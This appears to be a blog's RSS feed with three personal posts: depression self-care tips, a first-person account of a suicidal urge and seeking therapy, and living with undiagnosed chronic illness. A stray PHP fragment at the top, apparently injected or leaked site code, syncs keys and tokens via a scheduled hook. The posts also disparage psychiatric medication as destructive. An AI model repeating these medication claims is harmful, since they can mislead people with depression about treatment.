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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Mental Health Archives - Blissfully Healing https://blissfullyhealing.com/category/mental-health/ In search of life, meaning, and balance Sat, 10 Jul 2021 12:41:48 +0000 en-US hourly 1 https://wordpress.org/?v=7.1 https://blissfullyhealing.com/wp-content/uploads/2022/01/cropped-blissfully-healing-pinterest-profile-1-32x32.jpg Mental Health Archives - Blissfully Healing https://blissfullyhealing.com/category/mental-health/ 32 32 139782009 16 Must-Haves For Dealing With Depression. https://blissfullyhealing.com/16-must-haves-for-dealing-with-depression/ Wed, 08 May 2019 16:15:41 +0000 https://blissfullyhealing.com/?p=1250 Depression. Oh my… There are many things to say about depression, but those with it, know very well the speechless nature of the symptoms. The despair, the silent cry for help that you do not understand, the hollow depths of …

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]]> Depression. Oh my…

There are many things to say about depression, but those with it, know very well the speechless nature of the symptoms. The despair, the silent cry for help that you do not understand, the hollow depths of sadness unimaginable before, the lack of desire to function, to live and to be, the desire for social isolation, and the worst of them all, the regret that occasionally washes over , leaving you lamenting for the life you had that feels an impossible reality now. Not to mention regretting the cutting of relations, the availed adventures, the passage of time that will never be gained back. Last but not least, the nameless emotions that wreak havoc, the feelings of loss, doubt, distrust, fear, shame, and guilt.

Need I say more?!

Everyone experiences depression differently.

Like a fingerprint, depression makes its mark special in each of us. With that in mind, realize that you will need to create a personal survival kit and routine that works best for you.

Below are some of the things that are making a tremendous difference in how I face depression. Granted, I have good days and without a doubt also have devastating days, but maintaining the things below helps with the depths of depression I experience and how functional I am through the days.

1. Morning routine:

The best gift you can possibly give yourself is the gift of a slow, gentle peaceful morning. If this requires that you wake up a bit early, so be it. But you need a morning that consists of activities that are gentle, calming, grounding that will help you connect to your body, mind and breath.

My routine: I begin slowly, first taking my time in bed before getting up, by doing some breathing exercises mixed with some gentle stretches.

I suffer from a number of chronic illnesses and their symptoms are a mile long. The most difficult time in my day is right when I wake up. The amount of pain I experience is numbing, to say the least, so I begin the morning with breathing exercises to get myself acquainted with my body and the pains I am experiencing that morning, do some light stretches while lying down, then spend a good deal of time heating my body before getting out of bed. Depending on the severity of my pains that day, this step could take anywhere from 30minutes to two hours.

I have learned (the hard way) to respect what my body is saying and give it what it needs. If it’s two hours to be able to move out of bed, so be it.

I then set up my essential oil burner, meditate, yoga, take a walk (if I am able) and journal/write poetry while sitting in the sun.

2. Night routine:

As far as I am concerned, a good night routine prepares you for a good night’s sleep, which is imperative for depression. Lack of proper sleep can easily get you onto a rumination cycle, a suicidal ideation cycle or any of the many other depression cycles that exist.

Also, a steller night routine sets you up for a good morning routine which sets you up to survive the day.

3. Meditation time

I cannot stess how important this is.

You need time to assess, befriend and understand what is going on inside you and the best way to do this is through meditation.

You need to befriend yourself and the best way to do that is to understand yourself and meditations offers a door into the world of self-understanding. There are many apps out there that have guided meditation and classes on how to do meditation and such. Get yourself on the meditation train. This step has been a major game changer for my depression health journey

Programs I use:

  • Calm: The app has guided meditations, sleep stories and a number of other mindfulness tools, along with a depression masterclass that can help you through your healing journey.
  • Insight Timer: The app also has guided meditations, but in a very different format than calm.

Of the two, I prefer calm which I use on a daily basis and use insight timer from time to time.

4. Time for Breathing

Oh boy, it might sound silly, but most people do not know how to breathe properly. Which causes major issues with anxiety, panic, and breathing-related concerns, but, when it comes to depression, learning how to breath can be an incredible way to revitalize your body and allow yourself time to feel.

One of the things I have realized is that the only way out of depression is through it.

You will actually need to feel what depression is asking you to feel. You will need to feel the despair, the pain, the agony, the lack of want of life, etc etc. You will need to understand those and get to a place where you know what those symptoms mean to you.

The only way I manage to get through those very difficult emotions, sensations and thoughts is with breath. Well, actually, sometimes I run from them, but that only makes the situation worse. So when I stop to face them, I make sure that I monitor my breath and seek it’s assistance as I face the unbearable.

5. Intentional Movement:

This can be yoga, tai-chi, walking meditation etc.

This is an opportunity for you to connect your body to your breath and hopefully both to your mind. Of course, I am not suggesting anything too rigorous.

Just set yourself up with a very gentle, kind and compassionate practice. It allows you to be in a meditative state, with breathing exercises that are connected to movement. The hope here is to get you to to connect to yourself, be present with yourself and create understanding.

6. Self care days i.e Depression days

Alright, so I have non-days, otherwise known as depression days.

I have a day in the week that belongs to no-one but me. Granted, I am single, without kids, but if you are married, in a relationship and have kids and other family obligations, you will need to discuss with them about a day or half a day in which you are alone, left alone to do as you please.

If this means you spend the whole day in bed, with the curtains drawn and binge watching something. That’s fine.

The point here is that you need to listen to your depresssion and as much as we want to fight it, sometimes we just need to do what depression wants of us. That may be to completely cut yourself off and that is ok.

The reasons I think it’s important to indulge depression within limits (i.e depression day) is because you feel the way you feel for a reason. Feeling that feeling and indulging in depression is part of your recovery.

These days are powerful for me. They make me feel capable.

7. Daily quiet time

Part of the depression problem is a lack of space; mental, social, emotional, etc.

You need to create time, daily, when you just are. Whether its to drink a cup of tea, read a book, take a walk etc, you need daily time to disconnect from everything and everyone and simply connect with yourself (This is a plea against technology) watching a show is not quiet time.

8. An excellent healing team:

Therapist, psychiatrist, chiropractor, reiki specialist, masseuse, acupuncturist, cupping specialist, herbalist, meditation instructor, breathing expert, nutritionist. I think this point speaks for itself.

Create for yourself a team that will help you through this recovery process. I can tell you from experience, you cannot go through this journey alone. You will need people who understand what you are going through and offer you assistance with compassion, kindness and care.

9. Community and support:

Seek out joy and laughter.

Now, this has been a difficult thing for me to do. At best, all I want to do is be as far as possible any human being. Energy is required to maintain relationships and to be honest, I simply don’t have it.

Between my physical and mental chronic illnesses, I barely have enough energy to get myself through the morning.

Things I have learned:

I have learned that there are people who energize, while there are people who suck the energy right out of me. We are not speaking of any extraneous activities, at the moment, I am speaking of just their presence. I have also learned that big gathering induce my anxiety and panic attacks

Although, I have also realized that gathering with people who I love gives me energy and desire to keep going.

Unfortunately, you will have to learn, as I have, to avoid the people who make you feel worse even though you may love some of them to death.

You will need to create space from negativity and surround yourself with positivity. This might mean that you need to start creating a community of support and love separate from your current community of loved ones.

10. Self-discovery journey:

You need to create self-compassion, self-love, self-kindness and simply be the person you need from someone else. Be that source of love and understand you wish to get from others. When the world feels like it’s falling apart, be able to tell yourself, “I’m here, I got you” and feel the safety and reassurance you are looking for.

11. Laughter:

Surround yourself with positive energy, people, shows and the such. Research has shown that laughter affects levels of cortisol, dopamine and other hormones known to affect mood, stress and depression.

So laugh it up whenever you have the chance. Watch funny shows, videos, and movies. Surround yourself with people who make you laugh and simply offer you a positive environment.

12. Organization:

Clean, de-clutter and get rid of unnecessary things.

This will be monumental in your healing journey. As part of the process, you will need to let go of things that no longer serve you.

Organization can be difficult during depression, but I have found that getting organized improves how I feel.

13. De-clutter :

Remove, remove, remove. Remove things, ideas, beliefs, should’s and cant’s that are hurting you and simply lighten your load

14. A project:

Something to keep your mind off your woes (hobby, bucket list etc). This is the perfect time to rekindle a lost hobby, craft or explore something new The purpose of this point is to help you rekindle joy.

Advice: Start slow.

15. Anti-inflammatory diet.

Studies have shown that an anti-inflammatory diet can be a powerful tool in dealing with depression.

Whether or not you are on medication, coupling that with an anti-inflammatory diet, anti-inflammatory supplements and an active lifestyle will do you a world of good.

16. Probiotics and supplements

Studies have also shown that there is a big connection between the gut and the brain and taking a good probiotic can make a very big difference in your depression journey.

***

I know, some of you are probably thinking, “is she insane, she just mentioned how deep depression can sink you. Besides, that sounds like a whole lot of work.”

Yes. It. Is.

And the answer to all the questions and arguments that will pop up trying to prevent you from doing the work, should be, “because I am worth it.”

Now, to be honest, I am still struggling with that part. The “because I am worth it” part and on the days when that statement feels like a stretch, I go with, “because life is worth it” and on the days that is a stretch, I go with “there is still so much to see and so much to do” and occasionally I go with “there is still so much to accomplish”.

And on the days when all of them feel like a stretch, I roll with “this is all hard and that’s ok” and offer myself whatever I need for that day. Whether it’s isolation, tears, writing, binge-watching, etc etc.

I offer myself whatever I need to get myself back to “because I am worth it”

This article is urging you to change your lifestyle.

I think depression is a call for change. Imagine it to be a revolution within yourself for the need for change. Only it’s not millions of people on the streets demanding a change, it’s your body screaming for your attention, urging you to notice the ways in which it is struggling to survive.

A word of caution: The most important thing you need to realize about the effort you will put in, is that you need to take it a step at a time, give it time and take it easy. Develop self-compassion and kindness, discover yourself in the process and let the journey lead the way.

The depression healing journey is not a day thing, or a week, or even a year thing. It’s a life long journey. I remind myself often that the magic of my recovery will not be in the destination, it’s all in the journey that I am living now. A sentiment I am slowly learning to accept.

Related Posts:

When suicidal thoughts are rampant

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]]> 1250 When Suicidal Thoughts Are Rampant https://blissfullyhealing.com/when-suicidal-thoughts-are-rampant/ Sat, 15 Sep 2018 19:22:51 +0000 https://blissfullyhealing.com/?p=1026 I remember the day like it was yesterday. It was an early Sunday morning in February. I had been back home in San Diego (from a torturous 4 month trip to Kenya) for a few weeks and significantly struggling with …

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]]> I remember the day like it was yesterday.

It was an early Sunday morning in February. I had been back home in San Diego (from a torturous 4 month trip to Kenya) for a few weeks and significantly struggling with depression, anxiety, panic attacks, severe agoraphobia and seizures.

Suicidal thougts
Photograph by Daniel Dolson on Unsplash

Backstory:

My physical health wasn’t holding up very well, as has been my norm for the last few years. I was in constant pain, my stomach couldn’t stomach anything, so vomiting, diarrhea and constipation were a norm, and I was always tired. Not just tired, I would spend most of my days and nights in bed and would make significant effort, more like I would need to calculate the energy needed to get up and out to get food, shower or even leave the house, and would need significant rest after expending that energy.

All that coupled with full body inflammation attacks that left me fatigued, in pain, unable to move and simply in tears.

My 4 month trip to Kenya was agonizing to say the least. I had spent the first 3 in a narcissistic abuse pressure cooker and the last month tirelessly fighting to get out of that marriage.

When I landed in San Diego, I cried. A hearty, whole hearted, weeping of release, gratitude and freedom. I was beyond grateful that I had just made my way out of that relationship and given myself a new opportunity of life.

When I came back, I made the effort to re-establish my norm. Of course  I knew it would not be easy or take a short time. Recovery from a narcissist is a lifelong journey that I then added to my list of recovery journeys.

I started with regularly visiting one of my favorite places in San Diego, that during my marriage was a regular piece of contention and argument. The Scripps Oceans Reserve. A rugged cliff 300ft above the crashing waves overlooking the pacific ocean. I made it a regular sunday morning trip.

I was free.

I would go and still go with a thermos of tea and just sit. Observe. Breathe. Exist. Most often, weep, cry and just allow myself to be.

Thoughts That Fight Back

On this fateful day, I made my way to the cliffs early as usual, before the sun fully awakens so I may catch a glimpse of schools of dolphins and other schools of marine life that disappear with the morning fog.

I sat there in contemplation. One of the many things I had been struggling with, were depths of depression that brought/bring about despair and thoughts of suicide. Usually beginning with questions that I can’t seem to find answers to and the spiral brings me all the way down to, so what is the point? Why even try? Wouldn’t death be better than this? Etc etc.

I usually hold my own against these thoughts.

I challenge them, fight them, argue with them, reason with them and most of the time manage to win. By the end of the conversation between myself and I, I manage to offer myself a sense of acceptance and validation of those thoughts and manage to reason myself out of that specific episode.

Usually ending with, why don’t we sleep it off, or watch a cartoon, or whatever else that serves as a positive compromise. During these situations, I treat myself like a separate person and reason, offer care, kindness and whatever else I think I need to help me at that time.

When The Suicidal Thought Becomes Something Else

On this day, there was no thought. There was an urge.

As I sat there, hundreds of feet above the cliff, I drank in the peace that came with this place, closed my eyes, listened to the waves and the silence that comes with isolation.

I was truly at peace, all I have ever wanted was peace.

When I opened my eyes, there was a seagull gently floating above the water, emanating exactly what I was feeling and all I remember was a gentle voice, JUMP and my whole body convulsed to that word.

I stood petrified and in shock .

This time, there was no conversation, no argument, just action. I realized that I was in a much deeper hole than I thought I was. To this point, my doctor had given me multiple referrals to a therapist and a psychiatrist and had been urging me to go during every appointment, which were a lot. But I had been telling myself that I was OK enough to manage.

This incident made me realize that I needed more help than I could and can offer myself.

I walked away.

I didn’t look back or stop to listen or converse with myself. I walked.

Usually, as I walk away from the cliffs, I walk for a little bit, stop,  listen to the waves and look back at the ocean, allowing myself to enjoy the view and sounds of fading waves from different perspectives. But on this day, I didn’t stop, or allow myself to think. I just walked, got into my car and drove straight home.

The next day, I made an appointment with the therapist my doctor had referred me to.

Now, I have two therapists. An EMDR specialist, who I see weekly and my talk therapist, who I see once every two weeks.

Suicidal Thoughts And Depression

When suffering from severe depression, suicidal thoughts can be extremely overpowering. I cannot lie to you, I am not fully out of the gray area of suicidal thoughts.

But I have significant help outside of my head, my therapists help me process what I feel, how I interact with the things that happened and the things that keep happening that make me feel like I just ought to do away with myself.

Is Depression A Spiritual Problem?

No. This is not a spiritual problem.

As a matter of fact, religious rulings pertaining to my divorce were part of the problem that made me feel like I ought to do away with myself. So no, I don’t need to just pray about it and it will go away. NOPE.

Depression is an imbalance in the neurotransmitters of the brain. A lot of things can cause an imbalance in the brain. For me, childhood trauma, severe life challenges and a narcissistic abuse that resurfaced every bit of trauma I have ever experienced in my life, took my already imbalanced brain, into deeper depths of depression than I have ever experienced in my life.

I just wanted death.

Not just death to end it all, but death where the only mercy I would be under is God’s Mercy. There would be nothing but the truth, nothing but what my hands have actually put forward, and nothing but God and I. No man’s opinion of a ruling, or judgement of my actions would be part of the picture.

Managing Suicidal Thoughts

I am still working through my depression and suicidal thoughts.

I refused all psychotic drugs that have been offered to me, as a psychology major, I know how they work and just how destructive they can be. The saddest part about anti-depressants is that they only help about 50% of the people who take them, and cause a whole host of other problems.  I digress.

I decided to take the long way out of this and put my trust in the part of me that wants healing for myself. So I make myself go to my appointments, late or not. I go.

I make myself take care of myself.

I do what I love and what makes me feel worthwhile without thinking too much or I will get all the way back to ‘what is the point?’ and down the cliff we go.

So I dance, sing, workout, write, color, draw, drive, watch cartoons, listen to music, meditate, yoga, tai-chi, kickbox etc etc. Hardest of all, I make myself reconnect with friends. Best of all, I dream, create and fulfill items on a bucket list.

Listening to Depression

If I truly listened to myself, all I would do, always, is isolate myself is my room, with my room darkening curtains drawn, laying in my bed, mind numbing my mind with movies or books. I find that movies and books are an escape, I leave my reality and all the thoughts that create it and jump into something pleasant that makes me feel good about life.

Because I want to respect that part of myself that fights to be left alone, I give myself one day a week when I let myself just be, dark room and all, and truly do as I truly want to do without forcing myself to feel better. Funniest this is, these are the days I feel happiest. 

I realize that sometimes depression just needs to be felt. Not analyzed, feared, threatened or fought. Sometime you just need to listen, experience and accept.

Hope Lives

There is a part of me that sees a bright future for myself, one filled with balance, joy, ease, tranquility, healing, health and best of all global service. But when the lows really hit, none of that truly matters, and no vision is strong enough to make me want to live and I just have to find it in myself to somehow keep hanging on.

Relevant Posts:
16 Must-Haves for dealing with depression

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]]> 1026 When the World Thinks Your Illness is All in Your Head https://blissfullyhealing.com/when-the-world-thinks-your-illness-is-all-in-your-head/ Wed, 12 Sep 2018 19:46:59 +0000 https://blissfullyhealing.com/?p=939 Over the last few years, I have visited many doctors from various backgrounds and have come to realize that when modern medicine doctors face a challenge they cannot give answers to, the tables suddenly turn onto the patient.  Suddenly, we …

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]]> Over the last few years, I have visited many doctors from various backgrounds and have come to realize that when modern medicine doctors face a challenge they cannot give answers to, the tables suddenly turn onto the patient.  Suddenly, we are no longer looking for what the problem is, we are claiming insanity on my part.

The parting sentiments usually flows like this, “Since all the tests I have done are normal, and other doctors seem to have found the same results, perhaps the problem is all in your head.” Of course they don’t use these exact words, but I think I would have preferred those words over the “diplomatic” ways they try to tell me that I may be insane.

Then my question becomes, why should the doctor’s inability to find what I am suffering from turn into a mistake on my part, and not just a mistake, a flaw that questions the validity of my sanity?

illness is all in your head
Photograph by Gabriel Matula (Unsplash)

Unfortunately, doctors are not the only ones suffering from this delusion, if I may call it that.

See, I cannot explain my illness because it has not offered me a name to understand it with. Even though I put fair effort in trying to find it. I understand my symptoms, what causes them, how they begin and what to do to keep them at levels 1-3, and what steps to take when they elevate into higher stages.

That I know.

What I don’t know is, what I have, how it began and why it began.

Those are questions I cannot answer.

How I Deal with My Illness:

I try my best not to talk about my illness to people unless they know something about my health history, inquire about it, or if my illness interferes with scheduled plans. This is my general rule on how to interact with my illness when third party individuals are involved.

For the most part, I deal with 3 different groups:

1.  I have the group of people who have seen me at my worst and therefore don’t ask questions. Seeing is believing.

2.I have the group of people who have seen me in alright terms, have heard about my illness and have some questions about it. 

3.Then I have the people who only see me when I am in good terms, on good days, have heard about my illness and have many questions about it.

Usually group 3’s questions are coated with assumptions such as ‘if the doctors can’t find what it is, maybe its all in her head’. This group has been the toughest on my sanity. Their attitude and general demeanor towards my illness makes me feel as though I needed to prove my illness to them, perhaps if they see me at my worst they will understand the severity of my situation.

 

Mind Over Matter?

Perhaps I wouldn’t have minded group 3’s thoughts if those thoughts did not turn into conversation pieces. It doesn’t really bother me if people talk among themselves regarding my illness. I have no control over that.

What bothers me, is when the conversations are directed to me … as advice. 

Usually as a mind over matter topic.

“It’s all in your head. You ought to just tell your mind you are am not sick and see what happens”…

 

I suppose if I tell my mind that there is nothing wrong with me, the allergies, flare-ups, brain-inflammation, bronchitis, asthma attacks, swollen glands, aching joints, nausea, vomiting, fatigue, seizures, panic attacks, sharp shooting flutterings and everything else will miraculously go away.

 

Perhaps I would not have minded their ‘advice’ either, had it not wounded my self-regard and tested my sanity. Maybe it would have been easier to forgive their conversations had they not tried to convince me that I am truly at fault for understanding that I am ill, and making me feel like  I need to prove something to them. I would have forgiven their words much sooner had the words not made me question my own mental capacity, doubted my mind, mistrusted my body and learned to listen to their words rather than the very loud cries for help my body screams.

 

What People Need To Understand About Invisible Chronic Illness

What most people need to understand is that someone with an invisible chronic illness has no control over their pains, their reactions to things (environment or otherwise) or the timing of an attack (I’ve had seizures at some very unlikely times and places).

What we have control over is WHAT we do about it. What we choose to do about that seizure that happens at work, that full body inflammation that happens at a store, that mysterious 105 degree fever that popped out of no where while hanging out with friends. 

When the event happens or starts to happen, we have a choice on how to deal with it, and most of the time run a fast cost analysis in our heads to see what the best course of action would be. We need to maintain the lowest level of physical damage and preserve the least amount of pain. 

For instance, sometimes when I have a seizure, it starts with everything becoming blurry and I get extremely dizzy whether I am sitting or standing. Then my body becomes extremely heavy and difficult to move, then come gentle convulsions that increase in severity as the seconds progress, sharp shooting pains all across my brain and body, along with difficulty speaking, followed by full body paralysis. (This is not what all my seizures look like, but some look like this)

I know that I need to have someone help me lay on my right side and the convulsions will subside and if no one is there, and laying down isn’t a safe choice, I remain as I am to prevent falling and hitting my head. With time I will regain control over my limbs, speech and everything else. I have not studied whether this is the correct procedure, but it works for me. I usually knock out soon after the convulsions stop, and when I wake up I have extreme fatigue for a few days. A big seizure usually means that if I don’t rest, take it easy, and take something to calm my mind, a few other seizures are lurking in the corridor. 

The Choices I Make & The Things I Control

I can choose what to do when I face an attack, but I have no control over the fact that I have an invisible chronic illness or when a severe attack will occur.

For me, everything has a trigger, but as much as I would like to know and  understand all my triggers. I don’t.

So most times, when the attacks happen, whether its a seizure, a flare up or whatever else, my choice is to deal with them in the moment they happen as best as I can. Then I think over the situation I was in when the attack happened and I log that as a possible trigger. With that information,  I become vigilant and careful not to have another attack when those similar conditions arise. 

This much I can control, but whether I have an invisible illness that causes seizures and a host of other painful symptoms is not something I can control.

 

Realizations That Matter

I have come to realize that as much as I want my illness to matter to people, and for them to understand it, it doesn’t. What matters is that I understand my illness and accept it as it is. I do not need to prove to anyone that I have an illness even if doctors can’t figure it out (at the moment), and I keep getting rushed to the hospital with various illnesses so often. 

Accepting my illness is a gift on it’s own, and once I learned to accept it, I realized that whether people acknowledge it’s existence or not, doesn’t really matter. What matters is the reality I face when an attack happens and I have observed enough to know what to do about it. 

What matters the most is that I know I have an invisible illness, the people that matter know that I have an invisible illness and when push comes to shove, my body knows that I will do what I can to help it re-establish an equilibrium when an attack occurs.

 

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